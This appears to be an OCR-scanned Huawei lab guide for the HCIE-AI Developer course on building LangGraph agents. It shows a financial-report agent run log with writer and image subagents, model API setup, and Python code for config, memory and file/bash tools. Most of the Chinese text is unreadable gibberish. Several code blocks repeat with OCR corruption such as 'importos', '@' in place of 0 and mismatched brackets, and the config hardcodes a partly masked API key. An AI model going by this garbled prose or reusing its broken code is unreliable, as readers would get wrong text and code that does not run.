534

ElREE:

o ®AMEIL: {FE} {38 .png (40 ai_industry_overview.png )

o IENAEER: MEHE. X (BUL/MRE/EL) « KETER. BeHhE
BJHETA:

o write_todos

o writer-agent

o image-generator-agent

o read_file | write_file |

o s | mkdir

o web_search

4.2.2.2 REFERENCES.md
BESESEEN, MABEEER:

Bt ERBR B 4ta
BRAFG | FENE. 8 | fmd - BN - 20IEE - K% - NA%
E= AN = - FKREE - Hit
IR/ | SBHE. R | indt - BN+EIERYG - o2Es - &E
7] BS S - HIEHEE - &g
E R ESr:
BEED &l k8 HERY
5I5/Fk FMtEnE 1200x630
BESRRRE ~EE 800x600
IhReEx HE 1024x768
Bt ealati)s MEE] 1200800
SEEER Elfrge 600x400
ERiaEiE:

o B\ NEFH + EFFHOIR

o f3: concept-overview.png. feature-workflow.png. architecture-diagram.png

ERiEmETIE:

e

R AR
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CWEERRIES), SAERTE), WMURERE, KaRe,
g
EWRABRER R, A, TURTNE, Rew

BARETR | o ramier

"XT[ERIEELR, SiSHE, Tlt, SRE, iR
AR

FUEE

FRIBESER:

Writer Agent ( B{EXIE)

o M @ - OER/IEE - KB - NEEE - RKREE - Fig
o HIEE: B, IBAXE

Image Generator Agent ( B4R )

o iRt MItHmA. NAE (IR/KE/EW/REE)
RENESE (8IR)

o FEiEMEBIRER

o SIEREREIEE

o BITETABRRE

o BElRSRBHEX

o ERMHEERAMY

o ERE&ETZiER=L

o Alt XAHERERARS

o HHCIRMBETFELER

4.2.3 SEETTRA)
HAITTIES

uv run main.py --run "#EE5—RXT 2026 FRIRH A+ERE TWHINE, FEHIE 1000 FEA, AiLt—
KEENE R, BEEITE=EEE"

o Th

Agent BER3ZH

fEmia: BHE—RXT 2026 FRISRH A+ERE TUAINE, FHE 1000 FE46, BE—KaENER,
MR TE=EEE
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YY-MM-DD _ 14:18:02,709

YY-MM-DD _ 14:18:02,709
YY-MM-DD _ 14:18:02,709

YY-MM-DD _ 14:18:02,710
YY-MM-DD _ 14:18:02,710
YY-MM-DD _ 14:18:02,710
YY-MM-DD _ 14:18:02,710
YY-MM-DD _ 14:18:02,710
YY-MM-DD _ 14:18:02,710
YY-MM-DD _ 14:18:02,710
YY-MM-DD _ 14:18:02,710

YY-MM-DD _ 14:18:03,989
YY-MM-DD__ 14:18:03,989
Tools ...

[MM/DD/YY 14:18:05] INFO

server.py:713

[MM/DD/YY 14:18:05] INFO

server.py:713

%5361

- Financial_Agent.core.agent - INFO -

- Financial_Agent.core.agent - INFO - I&IF4EHYIEIE...
- Financial_Agent.core.agent - INFO -

- Financial_Agent.config - INFO - v QWEN_MODEL BEE

- Financial_Agent.config - INFO - v QWEN_API E&cE&

- Financial_Agent.config - INFO - v QWEN_URL EE&&E

- Financial_Agent.config - INFO - v BOCHA_API_KEY EEE

- Financial_Agent.config - INFO - ] FRrAMEEIFCIEHACE

- Financial_Agent.core.agent - INFO - v IMAGE_MODEL: gwen-image-plus
- Financial_Agent.core.agent - INFO - v IMAGE_SIZE: 1280*720

- Financial_Agent.core.agent - INFO -

- Financial_Agent.mcp_servers.manager - INFO - MCP client #J#a{tH
- Financial_Agent.mcp_servers.manager - INFO - A MCP server FfiIZ;

Processing request of type ListToolsRequest

Processing request of type ListToolsRequest

World Bank MCP Server running on stdio

YY-MM-DD _ 14:18:10,522

[MM/DD/YY 14:18:12] INFO

server.py:713

INFO
server.py:713
[MM/DD/YY 14:18:14] INFO
server.py:713

INFO
server.py:713

- Financial_Agent.mcp_servers.manager - INFO - Bf#tfr 18 4 Tools all
Processing request of type ListResourcesRequest

Processing request of type ReadResourceRequest
Processing request of type ListResourcesRequest

Processing request of type ReadResourceRequest

World Bank MCP Server running on stdio

YY-MM-DD _ 14:18:20,020
resources:all

[MM/DD/YY 14:18:22] INFO

server.py:713

[MM/DD/YY 14:18:23] INFO

server.py:713

- Financial_Agent.mcp_serversmanager - INFO - Ef#fF 2 4 Resources

Processing request of type GetPromptRequest

Processing request of type GetPromptRequest

World Bank MCP Server running on stdio

YY-MM-DD _ 14:18:27,847
prompts:all

YY-MM-DD _ 14:18:27,858
YY-MM-DD_ 14:18:27,858
YY-MM-DD_ 14:18:27,858

- Financial_Agentmcp_serversmanager - INFO - 2f##r 2 1 Prompts

- Financial_Agent.core.agent - INFO - fi&; Tools ..
- Financial_Agent.core.agent - INFO - 22k 6 N4ttt Tools
- Financial_Agent.core.agent - INFO - £ Agent RfEETH:5 @

(generate_image F SubAgent ZF)

YY-MM-DD _ 14:18:28,309
YY-MM-DD _ 14:18:28,309

@ AgentResponse:

- Financial_Agent.core.agent - INFO - E#0F 1 4 Memory X4
- Financial_Agent.core.agent - INFO -

BREIXMESILE 7 *industry-research-with-image* skill! 1 FESEIEEUZ A= EIERT
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TEREA
m read_file
path: /mnt/XXXX/Financial-Agent-AtlasServer/skills/industry-research-with-image/SKILL. md
v [read_file] Fep%
s 1---
2 name: industry-research-with-image
3 description: Guide for creating illustra...

l= AgentResponse:

HRELKFL T kadtEm . MAERBIIERERIT:

### Step 1: Planning & Framework Creation

TEiEA
m write_todos

todos: [{'content 'BIEIREIELE: EX A+ERITUARSHILSHAFIE F{IE', 'status” 'in_progress'},
{'content’: WEESE: M web_search €2 2026 & A+ERIMTIRFFENSFIEIE, 'status' 'pending'},
{'content": 'SERiElF: {#F image-generator-agent AIRESLEREE], 'status' 'pending'}, {'content”: RS
MNZ: {FA writer-agent REREZAAS (£ 1000 = ) |, 'status” 'pending'}, {'content”: 'BEFHRFR
ZIRER T (EZEEER!, 'status” 'pending'}]
v [write_todos] 2Fk

l=/ AgentResponse:

DR EHESR:

TERIEHR

m write_file
path: /workspace/ai_finance_2026_report.md
content: # 2026 £ A+ZRIT A RS

A+ R TIAAESS] (/pic/ai_finance._.
v [write_file] 5%

l=/ AgentResponse:

TEiIER
m write_todos
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todos: [{'content": 'BIFRIREMELS: EX A+ERtfTUREREEFIE /&', 'status: 'completed'},
{'content": 'WE(SE: {FFH web_search % 2026 & Al+£RUTIVEFHzISIIEYE', 'status”: 'in_progress',
{'content": '4p%EF: {#FF image-generator-agent JRELERECE, 'status: 'pending'}, {'content’: ‘RS
WNZ: {FHA writer-agent REREZAAS (£ 1000 5 ) |, 'status” 'pending'}, {'content”: 'BEFHRFR
BRIRED TIEZSEERR, 'status”: 'pending'}]
v [write_todos] FEpk

l=/ AgentResponse:

##4# Step 2: Gather Information

TEiIER
m web_search

query: 2026 £ Al £RITIV KEHELE ERRM HFLEE

[WARN] Agent H{TEHH, FTERZITEIFA

T H: web_search

S48 {
"query": "2026 Al fintech development trends artificial intelligence finance",
"count": 5,
"summary": true

}

BIEE—NRE (30 WiEBshitiE):
[1] approve - #LiELL T BiFH
[2] edit - RIETESHEHIT
[3] reject - 35481t T EIER
BN RIRE @NFSTRESZIR): 1

l= DeepAgent:

### Step 2: WEEER

TRIFHR
m web_search

query: 2026 Al fintech development trends artificial intelligence finance
v [web_search] 5=p%

l= DeepAgent:
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RiF! BIEZIXRER . IEAREL:

TEREA
m write_todos

todos: [{'content" 'Step 1: BIFBIREIELS, ENMEEFIER{IE', 'status: 'completed'}, {'content": 'Step
2: W& Al+ERITMSE ({8 web_search ) ', 'status”: 'completed'}, {'content" 'Step 3: 4% Al BcE] ({F
FH image-generator-agent ) ', 'status": 'in_progress'}, {'content': 'Step 4: fREIREAZ (£ 1000 )
'status 'pending'}, {'content” 'Step 5: BEFHREFEREZIRE, 'status' 'pending'}]
v [write_todos] 5Bk

l= DeepAgent:

### Step 3. 4Ry Al E2E

TERIEHR
m s

path: /workspace
v [ls] 5epk

= image-generator-agent:

= SubAgent (image-generator-agent)
m {E55: Generate a professional illustration for Al+Finance industry report 2026. The image should

depict: modern Al technology integrated with financial services, including elements like neural networks,
data visualization, digital banking, smart algorithms, and financial charts. Style: professional, modern,
minimalist with blue and gold color scheme representing finance and technology. Output to
/workspace/pic/ai_finance_2026_overview.png with descriptive filename.

[ImageGenerator] IEfERREGRERTE..
R~ 1664928
$27~1a): Professional infographicillustration for Al+Finance industry report 2026, showi...
S5 ai_finance_2026_overview

EESFERER, BHE.

v/ [task] SRk
£58: #4# (V) Image Generated Successfully

**File Location**: *./workspaces/pic/ai_finance_2026_overview.png

l= image-generator-agent:
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ERE4nk! TfEdrEE:

TEiAR
m write_todos

todos: [{'content" 'Step 1: BIFBIREIELS, EMEEFIER{IE', 'status' 'completed'}, {'content": 'Step
2: W Al+2RfTEE ({FF web_search ) ', 'status”: 'completed'}, {'content": 'Step 3: 45§ Al B2E ({F
FH image-generator-agent ) ', 'status': 'completed'}, {'content" 'Step 4: REREHNZ (£ 1000 =% ) !,
'status”: 'in_progress'}, {'content’: 'Step 5: EEFHRFRZIRE', 'status”: 'pending'}]
v/ [write_todos] FEpk

= writer-agent:

i

### Step 4. RERSEAS

I

= SubAgent (writer-agent)
m {E55: Write a comprehensive article about "Al+Finance Industry in 2026" (approximately 1000

Chinese characters).

**Context and Key Information:**
Based on recent research reports (2026), here are key points to cover:

1. *Industry Overview**:

- Al has become a key force in reconstructing business processes, improving operational efficiency,
and strengthening risk governance for financial institutions

- Financial industry is transitioning from digitization to intelligent transformation

- Large language models and Al agents are accelerating maturity

2. *Core Applications**:
- Intelligent risk control (ZBgEXIE)
- Robo-advisory services (ZSgEILIER)
- Quantitative trading (24325)
- Smart customer service (EBaE%AR)
- Al agents capable of understanding goals, planning paths, and executing operations

3. ®*Development Trends*:
- Agentic Al systems becoming mainstream
- Multimodal interfaces
- Hyper-personalization
- Growing emphasis on governance and ethics
- Moving from general tool pilots to core business integration
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4. *Challenges*:
- Measuring ROI on Al investments
- Data security concerns
- Model hallucinations
- Responsible developmentand oversight

*Structure Requirements:**
- Title: 2026 £F Al+2FI T A BIRES
- Include the image reference: [[Al+ R TAEES] (./pic/ai_finance_2026_overview.png)
- Four main sections:
- —. A
- T AR ENBGS
- =, ke EEs
- M. PkERSREKEE

*Style** Professional, informative, suitable for industry report
*Length:* Approximately 1000 Chinese characters

Please write the complete article content now.
v [task] =Bk

ZR: WEERMFIHREEE /mnt/XXXX/Financial-Agent-AtlasServer/workspaces/2026 £ Al+£ a7
AEiRE.md

PN E

l= writer-agent:

TEREA
m read_file

path: /mnt/XXXX/Financial-Agent-AtlasServer/workspaces/2026 £ Al+£RifT\ & RIRE md
v [read_file] 5=5%

TR 1 # 2026 & Al+ERMTIV A BIRES
2
3 AI+E2RMTAEESS] (/pic/ai_finance_2026_overview.png)
4

l= writer-agent:

NEERINER! MAEMAHIENER:

TERIFHR
m s

path: /workspace/pic
v [ls] Fepk

= writer-agent:
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TEREA
m write_todos

todos: [{'content” 'Step 1: GIEIREIELE, EMXEWIERAIE', 'status' 'completed'}, {'content": 'Step
2: W& Al+2RITMEE ({8 web_search ) ', 'status”: 'completed'}, {'content" 'Step 3: 4% Al BLE] ({F
H image-generator-agent ) ', 'status": 'completed'}, {'content": 'Step 4. RERENZ (£ 1000=) |,
'status’: 'completed'}, {'content" 'Step 5: BEFHREFHREZIRE, 'status”: 'completed'}]
v [write_todos] FEpk

l= writer-agent:

## V) (E55RK!
BERINNECIET XT 2026 &£ A+SRITIME RS, BARENT:

### - REXMH
= E: */workspace/2026 £ A+ T A BIRE md”

### nl IREWE
- wIEge 44 1050
- R [OKET
- —. A
- . AR AR
- =, TR REE
- . Bk SHRREE

### B FcE

={7&*: /workspace/pic/ai_finance_2026_overview.png’

- HRAE B EARHAFRNGE

- =R 1664x928 163 (169 LA )

-feEr: REES5E6, RITESHMSRENRMSE

- BICERM MENLS. HIETMAIGERIR. HFRITHRE. BEREE. SHMEX

### o BOABTER

1. TR R BRI EREAH SE AR

2. *"RRZOMNA™: Bz, Sateil. 81325 . BaEEMR. Al Agent

3. *IOAKRE#EE™: Agentic Al ZEE. SRERE. BMEWIRS . RIESCE
4. ~IIsEkl: IRBROIREREN ., HiELE. EEOK

REEFREFEIFZRERE, SUUBEEEEEA!

SEREWN TR (BREET—H, XsE) .
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AT ERERAERR

W —

XRNAHR

AESRNSHMENE '

BERF | RSF %) MELIRS BaCRE i‘

RIE M ANMRESG RS, FILISHIZ SKILL RS,

TE AE
Step 1 CIBIREIESE, EXETHBRRE
Step 2 {$5F8 web_search INEITIHMSE

Step 3 {$F3 image-generator-agent 4B ACE]

Step 4 {85F3 writer-agent fR51F3 ( £ 1000 = )
Step 5 BEHRERERS

ERAERMHAR, JEINEE FEENN GRS

461 HH I BE
wESUYE /workspace/2026 & Al+& R T A BIRES.md
[T e e /workspace/pic/ai_finance_2026_overview.png

4.3 LIS BE R

B : AERF(E writer-agent #1 image-generator-agent E9 SubAgent i3k Tool, 155
#r SubAgent # Tool RIXA!, FiREAJIHAEAZS=HILSE SubAgent,

Vo a——
=

SubAgent vs Tool XFtk:

HE SubAgent Tool
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Exit | BPR. SRERNESES B—. IRRAIEFIRE
BEH | BEEREMILEES WRIHAIT, TRREED
REHIN | BRMERE BRI RR(E]

NRZsR | FECWFHIERES HATHRERYT EaIRE

4 4 7& _Lll._;\é:t

2441

AL T —MTWAFIREER Skill, SEIL T NRKIZpABRIB sHE B ENETAZ . %
Skill B9t CAMERE T

1. REHIIERE

FREYE = fﬁﬂmﬁgo
2. ZERAIME: @iZ writer-agent #1 image-generator-agent FMNFIEAYS THME,

LT XF e ES IR AR RIS B SHE

D B TS E B EE oER A ENRE, RRIRSE

3. BENMFHEREL: MXERNFHRE, TEd Al BRERRAIIREEE, BFHRER
AT,

4. PAEIRIES: BAIERE web_search TE"BAS", IZAFESIEFERTIR. MAIE

IERIEIR
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WRAXERE © [ 2026 ] [ &HEARBRAE ] - FRE—IRE.

RELANEEBEF, [HIARNSHTZRHTES. 220, BS. R, B, BAERBRENE
EHITBLHET AIHITEFmEE . BE. il BiFISEUtEABTENTFILSMUHIE
fthFi&

Copyright © [2026] [Huawei Technologies Co., Ltd.] . AllRights Reserved.

Without prior written permission of Huawei, no one is allowed to reproduce, modify, integrate,
adapt, translate this Document, or provide, sell, transfer, sublicense this Document or any part of
this Document or its derivative to any third party for any other purpose otherwise permitted by
Huawei.
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woawer IR AR N ENRARB IR ATRIEIR.
AR E M RREG MR, HEERIPEARSE.

-

EWLA . RBTAFESFNZEARNTEHWSEFFFRAINR, RXEPHERAEER
BERD M. IRSTHFETREREERIBLEEREECA .. FIFERBEYNE, AR
ENS A SR BRI BB RS AR A A BB S RIIE

AT RIRAFAREMER, AXERESAERHITER. FIEREAE, RN EN
EAERIES, PXEFRIFREMRE. [EEMENA R OIREERIVER.

ERARARBIRAT
Hit: R R KRB S ER mB4m: 518129

Lk https://e.huawei.com
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EINMNEERENE
HIINIE ( Huawei Certification ) {&KIBHERICTHARFIS IR TN, EOEE(LiEE
a3, WETESICTEMISH. NASHEURINESEMFAMNEIAERER, IR
REESIRFHEM I SHRAYEE IR, NARKE A EFRBHAIEE . IFENAT KRR
2.
BIRICTM I Z S IFIHEMER, ERNED I TRRIFERE . SR IREMEIFER
FHBAI=ANEZER

R IAIEHCIE-Al Developer V1.0 B FIEFFTAIEERARRRE SNAFARIE. #IE
Tz, WllS5E)I%. HIEHRENRMA . EFFRENNER, BERMIIGEIRELEE. o
HEREZIT. BFA. BEPESHEEINE. RAGSAgentR AT A SR .
AIBER SN BZE1E8EN

BITHCIE-Al Developer V1.0IAIE, S ERANRERN B A RE, JIGEURELS
1B, KEBT)GERREEEIE, MIBARRLHFIZER, RAGSAgent A A, EFF

YZEEXR, BEAEEWIIEG. BilZg, AINBFFAILS8EEE, sEIgRE(TAIRN
BHAE. AEEE. ARREF A . AIBFAREERKN.

LINEDENEFT T ZE, FESEEZ], EXZEATERERHLRR!
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=

i}

Eivh
4579 HCIE-Al Developer 151|242, EBF &S SN0 HCIE-Al Developer XV F R E %
BERER) %, REUHETEBSEMN. MEFA. EFHESEN, FERIERSATE
BEFRERINEE.
SRR
NEHEIR

ALEIBIE LangGraph SCIIE AR R, EaedEE LT ERFIEE:
BeEER, BE ZeEEER

iCIZER, KIEERSIZ

TEER, SMEFEMHRIE. shell pSHUTETR

TR, EREE

HOOK &8, @i hook EEISCIMZL 2 FHFHLE

Skill, MCP. Rule hI#ki&Etk

B Agent EI{FIFIBMETL

EEAREE

KREAERMANISRIERE, WTEFHCEEABRR, FIEABINEENELEEZUTEAR
i

o EBEBEEAMAIINAESE, FEANEE linux 5 docker BYERE, EEEAHY Python JRIZAHE
F370 Agent IBISH0IR,

SCEG AR5 AR

ALIIMEE [/ HCIE-Al Developer Eix{pY Al Ti2)H, AEd A EREEAt PC Tk
SCHGIR(E .
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Agent NFBFFASCIS

S WiR FERWE
Agent RZFg | python:3.11.15 ARS388: Atlas 800T A2/7Nit PC
P2
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H=x
=1 = ST UURRRRRRRRR 4
T T T e veeveereesssssessaesses s s s s s st b s b s et b s s s s a s s a s A s b e b At A s s AR AR AR AR A b A AR e s A At ae s e et st s st b sanen 4
PIZSHEIZR oo oo oo ee oo oo oo oo oo oo oo oo e oo oo 4
=40 4
SIS TRIEIITII c.vvvvvvoeeeeeeeeessses s essssss e ssssssss e ssss s RSR AR 4
TEBEIEBEIRIR ..ottt ettt 5
T AGENE BT .o e e oveeeeeeee ettt ee e ee e e e steeeeessseeeeesbeeeeesseeeesseeeeesseeeennreeas 7
1T BB MR et eess s st st 7
TIT SRTFFZREEBE oo eeess s essss st st sS85 RS 7
11,2 SEIEEIHT oo eeeeeeeeseeses e sssss s ssss st ssss st 7
1.2 SEBRAESZTTER ..o 7
121 BREECE ..o sss s s 7
1.2.2 AGENEFFAZEEIE ..o 10
1.3 EBEE R ..ottt st RS SRS R SRS R R R A R R R 46

T L R oot e e ettt e et e et e ee e et e et e e et et e e e e et e e ee e e seseeseanes 47
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Agent [

1.1 SEIEN A

1.1.1 XF AL

AL ETF LangGraph SCI— 2098 6E(K, SaICIg&ER. F XTI iE. TEIEA.
2PHPEINRE

1.1.2 L3 BRY
e ZEiE Agent FTIIESRRANZITRE
o IR Agent SEILRFE,
o SCH Agent RIFATFE .

1.2 SCIG(FSBECE
1.21 RIBECE

£ 1 FEELLLM API

SieH, BEEAFIRAIAER, nIUBI AEEIBIFIEE (SEEELREHITER
API) , tHRJLAMERZIFAIEEL AP,

HANER= MaaS {28 717: https://console.huaweicloud.com/modelarts/?region=cn-
southwest-2&locale=zh-cn#/model-studio/square,



https://console.huaweicloud.com/modelarts/?region=cn-southwest-2&locale=zh-cn#/model-studio/square
https://console.huaweicloud.com/modelarts/?region=cn-southwest-2&locale=zh-cn#/model-studio/square
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FEEES F Y

BERE G

XFERL
4m  DeepSeek-Va-Pro +m  DeepSeek-Vd-Flash
" Dswmage ) JP Crivwenn
o  GLM51 a DeepSeek-v3.2
= Mecmenili

GERREY (R LUGEEMIE, WABR ) :

XAER

g DeepSeek-V4-Pro

w

A GLM-5.1

AN, EREERETIES

s =25 =% ocv IR I® & Q°0Q

GRS © SE

(& Deepseek-va-Fiash

Kimikz6

L ]

L L W A

Kimi-K2.6

&

DeepSeek-V4-Flash
ey, STAESAESER

a8

w

+ Kimi-K2.6
Be EReakENBRSEN

tm DeepSeek-V3.2

REEEER, REWREZROER.

R G

@ DeepSeek-V4-Flash

waem

Funcion Cal Serveriess 1M

0 e ( mmne

sepSeck-Vd-Flash 12 DecpSect-V4 SSRBIRAIET. S8 IM S EFOEI0MN, BIN OEZSRTIINN, BEELR. S0 AN RS,

(€]

0001/ Fiokans. - ¥0 002/ Flokans DRI okens

DeepSeek-R1-0528

A

SRR, TR
& HERESREEER

Bms,
i Tl
vimEs =R 5. SmFALE =3
SRS,
) =2
Baser =emas T o R, OREAR.

SR FOAES,

ERCFRRRAS. W

AP

MERBLEBERFRBLTECha o,
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HUAWE gent NAFFASLIE E1el
() FasmEs
EIEIER SR SHEA |
© ez
&R0 | OpenAFEEEE(]
BOER
APIiiE
https://api.modelarts-maas.com/openaiivl ()
modeiZE @
deepseek-vd-flash O'
iE, O API KeysiEFEEEAPI Key, BHEAPI KeyEEE (2
me

a
2 SHRATHHERIENOIES. APl Key
. it ¥0.002/ Ftokens o -
Bl £ES (AP, modelBsy) HEAEOES
« Ei5 580 AP Key AT IEEBIAPI Key
EETREIE
=
=S pREs]. =

IEALAY API HB3EFD model S¥EELERBT A,
Ba AP &1,

=

qwen3-235b-a22b [

75— IRANAPI Key
tEEAMaaSHiEERSE, FRIESAPI Key AT EASIBAL EAEEMAIAP Key=ERTAAP Key, AHEAPI KeyESTE (2

PR KHiERRHERENES. APl Key

- S FAERTEES
« B =0 EER (APIHEIE, modelE) B EEEIER

BIZE API Key o

=HE

API Key & [ e BIEEAPI Key

1EFETLAER29API Key.

A ARl = | EAP| KeyEe, ETRAPI Key.

BMANERERIE,
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gIEEAPI Key

[idi]
|
HE
S
k!
i
Z
l||||l|
|
i
HA
'!I_}lI
fif
_|
o
H
ok

210m:

E$1T (H4BI8Y Python BT ) HUIITZRD S,

pip install langgraph

pip install langchain

pip install langchain-openai
pip install pydantic

1.2.2 Agent F &L

£

BX
2R

1 EcESKIRFRFRANRE

EHTEEECERT, 8T langchain_openai H1AY ChatOpenAl EFEIERY, AR mimiREla)

NEREEE,

o ERAAMER: AIEEREIHEAZE SO FEIEFAY Qwen3 &AL

o FARARIRIEE: % OpenAl 18RI APl ZARSSENA] (SEIGLAEAZABIHITRER, Ak

BHEfhFE, RGN

SRMIEERT Agent A3 AN SR EREAFIZIA M ERFMETC, FrLAEEE LLM SERIRY, 9
Agent FeENEIAUEEY (tRRTLULENE—MEEL, (BR2E BRIAFIAEEERTEES], i
BESMRE, MRLRMERDBI, £ Agent {#F3 GLM5.2, F Agent &SR ANGERE

DeepSeek-v4-flash )
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Agent RIFAFFASEL F£1MR
¢ (& DeepSeek-V4-Flash =t FusctonCat Senveriess i 0w (s Ean -
g i i
https://console.huaweicloud.com/modelarts/?region=cn-southwest-2#/model-
studio/square/780ef592-b052-431a-a0cf-3211a5a20367/detail
< : (“:LM:)J\ 45 Funchon Call Serveress 156K D mmwe ( wmo B

wens

[ rme= C
e

Stcken 1 8 IRA: ¥0008/ Fackens, 4 ¥0.028) Fiokens (1

https://console.huaweicloud.com/modelarts/?region=cn-southwest-2#/model-
studio/square/861f7fdc-9451-418f-9ed6-9bd3af1b3ad6/detail

AT RIEFEAHPITAT RREFEEMRE, FERE, SEEEAREE MR,
#r#2 config.py 3714 :

#

from langchain_openai import ChatOpenAl
import os

# N KIEEFCE

# RAREECERIASERPE LI PEREIFA Qwen RE

# VB AHIEEIRY ChatOpenAl

llm_local = ChatOpenAl(
base_url="http://localhost:8000/v1" ,
api_key="not-needed",

I
model="your-local-model-name",
temperature=0.7,

# BIRPHIRAALE API bt
# AREBEATEER, BSHWIRY, HESFHS

# BIRAIRAAHREIETR (RIEAE TENERES )



https://console.huaweicloud.com/modelarts/?region=cn-southwest-2#/model-studio/square/780ef592-b052-431a-a0cf-3211a5a20367/detail
https://console.huaweicloud.com/modelarts/?region=cn-southwest-2#/model-studio/square/780ef592-b052-431a-a0cf-3211a5a20367/detail
https://console.huaweicloud.com/modelarts/?region=cn-southwest-2#/model-studio/square/861f7fdc-9451-418f-9ed6-9bd3af1b3ad6/detail
https://console.huaweicloud.com/modelarts/?region=cn-southwest-2#/model-studio/square/861f7fdc-9451-418f-9ed6-9bd3af1b3ad6/detail
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# ================= Rig KIEBEE
# WA LABSIMETE(EN: os.environ.get("OPENAI_API_KEY")
API_KEY = "TOF2f****|JuGMrdTQPg"

# API i Base URL

BASE_URL = "https://api.modelarts-maas.com/openai/v1"

# 1RELIETIR

MODEL_NAME = "glm-5.2"

# £ Agent B! (B Agent &z, LR Team #Ez=UFAY PM)

llm = ChatOpenAl(model=MODEL_NAME, api_key=API_KEY, base_url=BASE_URL, temperature=0.7,
streaming=False)

# =================Team F Agent EFIEH! =================

# AL E NEEE/ERAMEE

TEAM_MODEL_NAME = "deepseek-v4-flash"

team_Lllm = ChatOpenAl(model=TEAM_MODEL_NAME, api_key=API_KEY, base_url=BASE_URL,
temperature=0.5, streaming=False)

® [t4}ETEE B APl IR
o BN AP FEIRFAVIIREY, (ZIREGAT) BIaEE L ERE Y .

Too many requests, the rate limit is 3 ram': None, 'type':
inute.’, ‘s i

elimitError: Error code: 429 - e': 'ModelArts.81101', 'message’: s 3 time minute. ', 'par:
r t per minute.', ‘span_id": ‘58abd2dbada35d418f307a71ade1b219"}

r T
e”: "ModelArts.81101°, "error equests, the rate limit is 3 times

2 iCiZiER

RE Agent icZiEl, 1L F—RE1TEEER E—IRRYLE

IARICIZAERSE TR R, (XERR~ Gl : RBUCIZ3 M4 agent_memory.md ( Agent #
TRTEBhER ) , IHEED 50 fFHITICR . RIFICIZET, {XURTFET N=500 D=5, FHANeS
1E1EL

#732 memory.py:
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import os
from datetime import datetime

MEMORY_FILE = "agent_memory.md"

def load_memory() -> str:
MBS BidsefT BENB#T > BiLL Prompt BBk
if not os.path.exists(MEMORY_FILE):

return "

with open(MEMORY_FILE, "r", encoding="utf-8") as f:
lines = f.readlines()

if len(lines) > 50:
lines = lines[-50@:]
hint = "[... ARREREHEE ...]\n"
return hint + "".join(lines)

return "".join(lines)

def save_memory(task: str, result: str) -> None:

"B IRTFRE . MEA B, SRR see FwFrrn

timestamp = datetime.now().strftime("%Y-%m-%d BH:%M:%S")
short_result = result[:500] + ("..." if len(result) > 500 else ""

$13:

content = f"\n---\n**B[§**: [timestamp}\n**{FF**: {task\n**ER**: {short_result}\n"

with open(MEMORY_FILE, "a", encoding="utf-8") as f:
f.write(content)

importos
from datetime import datetime

MEMORY_FILE = "agent_memory.md"

def load_memory() -> str:
"IERISIZ, #Bi 50 fTESEENF, HIE Prompt K™
if not os.path.exists(MEMORY_FILE):
return ""

with open(MEMORY_FILE, "r", encoding="utf-8") as f:
lines = f.readlines()

if len(lines) > 50:
lines = lines[-50:]
hint = "[.. [HSRICIZEMEMRT ..]\n"
return hint + "" join(lines)

return ""join(lines)

def save_memory(task: str, result: str) -> None:

"ENMRTFICIZ, MiTERETIEEE, £55RERE 500 FRF

timestamp = datetime.now().strftime("%Y-%m-%d %H:%M:%S")
short_result = result[:500] + (".." if len(result) > 500 else "")

content = f"\n---\n*gF[&]**: {timestamp}\n**{E53** {task}\n*£5ER** {short_result}\n"

with open(MEMORY_FILE, "a", encoding="utf-8") as f:
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| f.write(content)

SR 3 TEEHR®

RS BN TR E AN I HEIERIBEIFN shell epSHITREN, IEAE)T Agent 152 TH

BRIR
TEENX: &F LLM "{FEHLEEEN" . aILAET OpenAl Function Calling AYFRAEIE (!
2,
tools = [
{
"type": "function",
"function": {
"name": "execute_bash",
"description": "Execute a bash command on the system",
"parameters": {
"type": "object",
"properties": {
"command": {"type": "string", "description": "The bash command to execute"}
%
"required": ["command"]
}
}
Iy
# .. read_file, write_file Z&{LL
1

IXEg JSON Schema AE ER—MTHRIGAR, ©2EETIX APl i5K—iREAIXLES LLM,
LLM {ZEXDIREPE, MEnEECaLT bash &<, EXMH. B5XH, B
LangGraph &1, REEFNENIXA JISON FER, RE(FH @tool ZEIHTEMHISIHEIE. ¥
. Shell IITEEEHEIE, AILABENERL T #EERY OpenAl Schema, TFEFE JSON,

@tool
def read(path: str, offset: int = None, limit: int = None) -> str:
rERRFAE - A LEERIE T (of fset) NIRRT - EEFITSHAEE .
if not os.path.exists(path):
return f"Error: XM {path} FTF7E"
try:

with open(path, "r", encoding="utf-8") as f:

##£ tools.py:
importos
import glob as glob_module
importsubprocess

from langchain_core.tools import tool
from langchain_core.messages import BaseMessage, HumanMessage, ToolMessage, SystemMessage

NHRETR, MWXHABHEN. (EFEEIRIE:
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ftool
def read(path: str, offset: int = None, limit: int = None) -> str:
"RE AT o AL E R AT (of fset) MRHITH - BERFTSMAEE.
if not os.path.exists(path):
return f'Error: X {path} FIFETE"
try:
with open(path, "r", encoding="utf-8") as f:
lines = f.readlines()
start = offset if offset is not None else @
end = (start + limit) if limit is not None else len(lines)
lines = lines[start:end

return "\n".join([f" [i+start+1:4d} [line.rstrip()}" for i, line in enumerate(lines)])

except Exception as e:
return f"Error: {str(e)}"

ftool
def write(path: str, content: str) -»> str:
CrHMEEALE . MRXHTEESRLBERTEE. 82088

try:

os.makedirs(os.path.dirname(path), exist ok=True) if os.path.dirname(path) else None

with open(path, "w", encoding="utf-8") as f:
f.write({content)
return f"HINE A {len(content)} “TF#FE {path}"
except Exception as e:
return f"Error: {str(e)}"

fitool
def edit(path: str, old_string: str, new_string: str) -> str:
"ERERERR—ETE . BER old_string NP LAE—TFTE "
if not os.path.exists(path):
return f"Error: X {path} FiF7E"
with open({path, "r", encoding="utf-8") as f:
content = f.read()
count = content.count{old_string)
if count == @:
return fError: FHEILERIE"
if count > 1:
return f Error: HF| {count} HILE . FREFEEHM old_string LR EE—1E"
new_content = content.replace(old_string, new_string, 1)
with open(path, "w", encoding="utf-8") as f:
f.write(new content)

return "3 FIERTALRTN"

215:

# =

# MHRETR
s =

@tool

def read(path: str, offset: int = None, limit: int = None) -> str:

"EEEAS . ATLUEERIAT (offset) FIEEITEL . IREIHITSHIIA, """

if not os.path.exists(path):
return f"Error: {4 {path} FFE"
try:
with open(path, "r", encoding="utf-8") as f:
lines = f.readlines()
start = offset if offset is not None else 0
end = (start + limit) if limit is not None else len(lines)
lines = lines[start:end]

return "\n"join([f"{i+start+1:4d} {line.rstrip()}" for i, line in enumerate(lines)])

except Exception as e:
return f"Error: {str(e)}"

@tool
def write(path: str, content: str) -> str:

"RERBBANG . IRXHAEFERRERAFE, SEEE, "

try:

os.makedirs(os.path.dirname(path), exist_ok=True) if os.path.dirname(path) else None

with open(path, "w", encoding="utf-8") as f:
f.write(content)
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return f'EEINE AN {len(content)} NF&FE {path}"
except Exception as e:
return f"Error: {str(e)}"

@tool
